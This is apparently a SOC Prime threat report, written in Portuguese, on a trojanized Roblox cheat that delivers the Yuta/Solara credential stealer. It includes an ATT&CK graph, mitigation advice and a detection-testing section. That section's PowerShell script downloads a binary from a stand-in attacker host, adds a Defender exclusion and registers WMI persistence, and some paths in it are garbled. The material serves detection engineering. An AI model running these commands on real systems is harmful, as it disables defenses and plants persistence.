SOC Prime Bias: Médio

08 Jun 2026 19:55 UTC

Trapaças no Roblox com Inteligência Artificial Entregam o Stealer Yuta/Solara

Author Photo
SOC Prime Team linkedin icon Seguir
Trapaças no Roblox com Inteligência Artificial Entregam o Stealer Yuta/Solara
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Um pacote malicioso de trapaça do Roblox combina uma interface .NET trojanizada com um ladrão Python empacotado via PyInstaller. O carregador inicial enfraquece as proteções do Microsoft Defender, recupera uma carga útil de segunda etapa do MediaFire e executa malware derivado do Glove Stealer para coletar credenciais, cookies, arquivos de carteira e ativos relacionados a jogos. Os dados roubados são então exfiltrados através de webhooks do Discord criptografados e apoiados por um bot RAT persistente do Discord.

Investigação

O relatório fornece uma análise estática detalhada do malware, incluindo extração da carga útil do PyInstaller, descompilação do bytecode Python 3.12 e mapeamento do fluxo de trabalho de roubo de credenciais. Também delineia toda a cadeia de execução de múltiplas etapas, os métodos de evasão de defesa usados pelos operadores e a abordagem de desvio de cinco camadas visando as proteções de Criptografia Vinculada ao App do Chrome.

Mitigação

As organizações devem bloquear a execução de binários desconhecidos e não assinados, aplicar listas restritas de aplicativos permitidos, monitorar alterações nas exclusões do Defender e uso suspeito do PowerShell, além de detectar downloads incomuns de dados de configuração do Pastebin. O tráfego de webhook do Discord deve ser restrito ou monitorado de perto, e os defensores devem observar lançamentos anormais do Chrome que usam bandeiras relacionadas a depuradores.

Resposta

As equipes de segurança devem alertar sobre a criação de winupdate.exe no cache do AppData, modificações suspeitas na chave Run do registro, criação de tarefas agendadas e atividade incomum em canais do Discord. Arquivos maliciosos devem ser colocados em quarentena, exclusões não autorizadas do Defender removidas e coleta forense realizada em qualquer repositório de credenciais que possa ter sido coletado.

"graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffdd99 classDef tool fill:#cccccc classDef process fill:#bbffbb classDef persistence fill:#ff99cc %% Node definitions action_user_execution["<b>Ação</b> – <b>T1204.002 Execução pelo Usuário</b><br/>A vítima executa um executor WPF trojanizado disfarçado como uma ferramenta de trapaça do Roblox."] class action_user_execution action technique_impair_defenses["<b>Técnica</b> – <b>T1562.001 Enfraquecer Defesas: Desabilitar ou Modificar Ferramentas</b><br/>Adiciona o diretório atual à lista de exclusão do Windows Defender via PowerShell e corrige funções AMSI/ETW."] class technique_impair_defenses technique tool_powershell["<b>Ferramenta</b><br/>Script PowerShell usado para modificar exclusões do Defender e corrigir AMSI/ETW."] class tool_powershell tool technique_bypass_uac["<b>Técnica</b> – <b>T1548.002 Abuso de Controle de Elevação: Ignorar UAC</b><br/>Sequestra HKCUSoftwareClassesms-settingsShellOpencommand e lança fodhelper.exe/computerdefaults.exe para obter execução de alta integridade."] class technique_bypass_uac technique tool_fodhelper["<b>Ferramenta</b><br/>fodhelper.exe usado para ignorar UAC."] class tool_fodhelper tool technique_dead_drop["<b>Técnica</b> – <b>T1102.001 Web Service: Dead Drop Resolver</b><br/>Recupera configuração criptografada por XOR de URLs do Pastebin e resolve o link de download do MediaFire."] class technique_dead_drop technique technique_ingress_tool["<b>Técnica</b> – <b>T1105 Transferência de Ferramenta de Ingresso</b><br/>Faz download de ladrão Python secundário empacotado pelo PyInstaller (winupdate.exe) do MediaFire e o armazena em %APPDATA%.cachewinupdate.exe com atributos ocultos e de sistema."] class technique_ingress_tool technique process_secondary_payload["<b>Processo</b><br/>winupdate.exe (ladrão Python)"] class process_secondary_payload process technique_cred_browser["<b>Técnica</b> – <b>T1555.003 Credenciais de Navegadores Web</b><br/>Ignorar Criptografia Vinculada ao App do Chrome em múltiplas etapas (ponto de interrupção do depurador, elevação COM, dupla DPAPI, injeção DLL, sequestro de registro UAC) para obter cookies, tokens e senhas descriptografados."] class technique_cred_browser technique technique_keylogging["<b>Técnica</b> – <b>T1056.001 Captura de Entrada: Keylogging</b><br/>Instala um gancho WH_KEYBOARD_LL de baixo nível para capturar teclas digitadas."] class technique_keylogging technique technique_archive["<b>Técnica</b> – <b>T1560.003 Arquivar via Método Personalizado</b><br/>Empacota arquivos roubados em um ZIP em memória, dividido em fragmentos de u2264 25 MB."] class technique_archive technique technique_exfiltration["<b>Técnica</b> – <b>T1041 Exfiltração Sobre Canal C2</b><br/>Envia fragmentos ZIP para uma URL de webhook do Discord."] class technique_exfiltration technique tool_discord_webhook["<b>Ferramenta</b><br/>Webhook do Discord usado para exfiltração de dados."] class tool_discord_webhook tool technique_discord_rath["<b>Técnica</b> – <b>Discord Bot RAT</b><br/>Usa token de bot e ID de canal do Discord descriptografados para receber comandos remotos (shell, webcam, rastreamento, etc.)."] class technique_discord_rath technique technique_persistence["<b>Técnica</b> – <b>T1547.001 Execução de Inicialização/Logon de Autostart</b><br/>Cria tarefa agendada, chave Run do HKCU, script de inicialização VBS, sequestro de COM, entrada de perfil do PowerShell e Inscrição em Evento WMI para relançar a carga útil após reinicialização."] class technique_persistence persistence technique_dynamic_resolution["<b>Técnica</b> – <b>T1568 Resolução Dinâmica</b><br/>Recupera periodicamente a configuração do Pastebin para adaptar os endpoints C2."] class technique_dynamic_resolution technique %% Connections action_user_execution –>|dispara| technique_impair_defenses technique_impair_defenses –>|usa| tool_powershell technique_impair_defenses –>|habilita| technique_bypass_uac technique_bypass_uac –>|usa| tool_fodhelper technique_bypass_uac –>|leva a| technique_dead_drop technique_dead_drop –>|recupera| technique_ingress_tool technique_ingress_tool –>|armazena e executa| process_secondary_payload process_secondary_payload –>|executa| technique_cred_browser process_secondary_payload –>|executa| technique_keylogging process_secondary_payload –>|coleta dados para| technique_archive technique_archive –>|prepara dados para| technique_exfiltration technique_exfiltration –>|envia para| tool_discord_webhook tool_discord_webhook –>|alimenta| technique_discord_rath technique_discord_rath –>|mantém canal de comando para| technique_persistence technique_persistence –>|estabelece| persistence_mechanisms persistence_mechanisms["<b>Processo</b><br/>Tarefa agendada / Chave Run / VBS / Sequestro de COM / Perfil do PowerShell / Evento WMI"] class persistence_mechanisms process technique_persistence –>|apoia| technique_dynamic_resolution technique_dynamic_resolution –>|atualiza| technique_dead_drop "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Pré-voo de Telemetria & Baseline deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa & Comandos do Ataque:

    1. Transferência de Ferramenta de Ingresso (T1105): O invasor baixa o executor malicioso do Roblox (SLaunch.exe) de um servidor web comprometido.
    2. Execução com Manipulação do Defender (T1548.002): Usando PowerShell, o invasor executa SLaunch.exe com uma linha de comando que invoca Add-MpPreference -ExclusionPath "C:Roblox" para incluir na lista permitida a pasta instalação do Roblox, impedindo que o Windows Defender escaneie a carga injetada.
    3. Persistência (T1546.003 / T1547.001): Uma inscrição de evento WMI é criada para relançar SLaunch.exe na inicialização do sistema.
    4. Colheita de Credenciais (T1056.001, T1555.003): Enquanto o injetor está em execução, ele captura teclas digitadas e extrai credenciais salvas do Roblox dos armazenamentos de navegadores.
  • Script de Teste de Regressão: O seguinte script PowerShell reproduz os passos 2‑3 e gera a telemetria que a regra Sigma espera.

    # ------------------------------------------------------------
    # Execução do Injetor do Roblox + Exclusão do Defender (Script TC)
    # ------------------------------------------------------------
    
    # Caminhos (ajustar conforme necessário)
    $injectorPath = "C:TempSLaunch.exe"
    $defenderExcl = "C:Roblox"
    
    # 1. Certifique-se de que o injetor existe (download placeholder)
    if (-Not (Test-Path $injectorPath)) {
        Write-Host "Baixando injetor malicioso..."
        Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath
    }
    
    # 2. Execute o injetor com a linha de comando de exclusão do Defender
    $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`""
    Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow
    
    # 3. Crie uma inscrição de evento WMI permanente para persistência
    $wmiFilter = @"
    SELECT * FROM __InstanceCreationEvent
    WITHIN 60
    WHERE TargetInstance ISA 'Win32_Process' 
    AND TargetInstance.Name = 'SLaunch.exe'
    "@
    
    $filterPath = "ROOTDEFAULT"
    $filterName = "RobloxInjectorFilter"
    $consumerName = "RobloxInjectorConsumer"
    
    # Registrar filtro
    $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter `
        -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' }
    
    # Registrar consumidor de linha de comando
    $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer `
        -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" }
    
    # Vincular filtro ao consumidor
    Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding `
        -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH }
    
    Write-Host "Simulação completa – a telemetria de detecção deve ter sido gerada."
  • Comandos de Limpeza: Remova a exclusão do Defender e a inscrição de WMI criada acima.

    # Remover exclusão do Defender
    Remove-MpPreference -ExclusionPath "C:Roblox"
    
    # Excluir filtro & consumidor WMI
    $filterPath = "ROOTDEFAULT"
    Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject
    Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject
    Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding `
        -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject
    
    # Excluir o binário injetor
    Remove-Item -Path "C:TempSLaunch.exe" -Force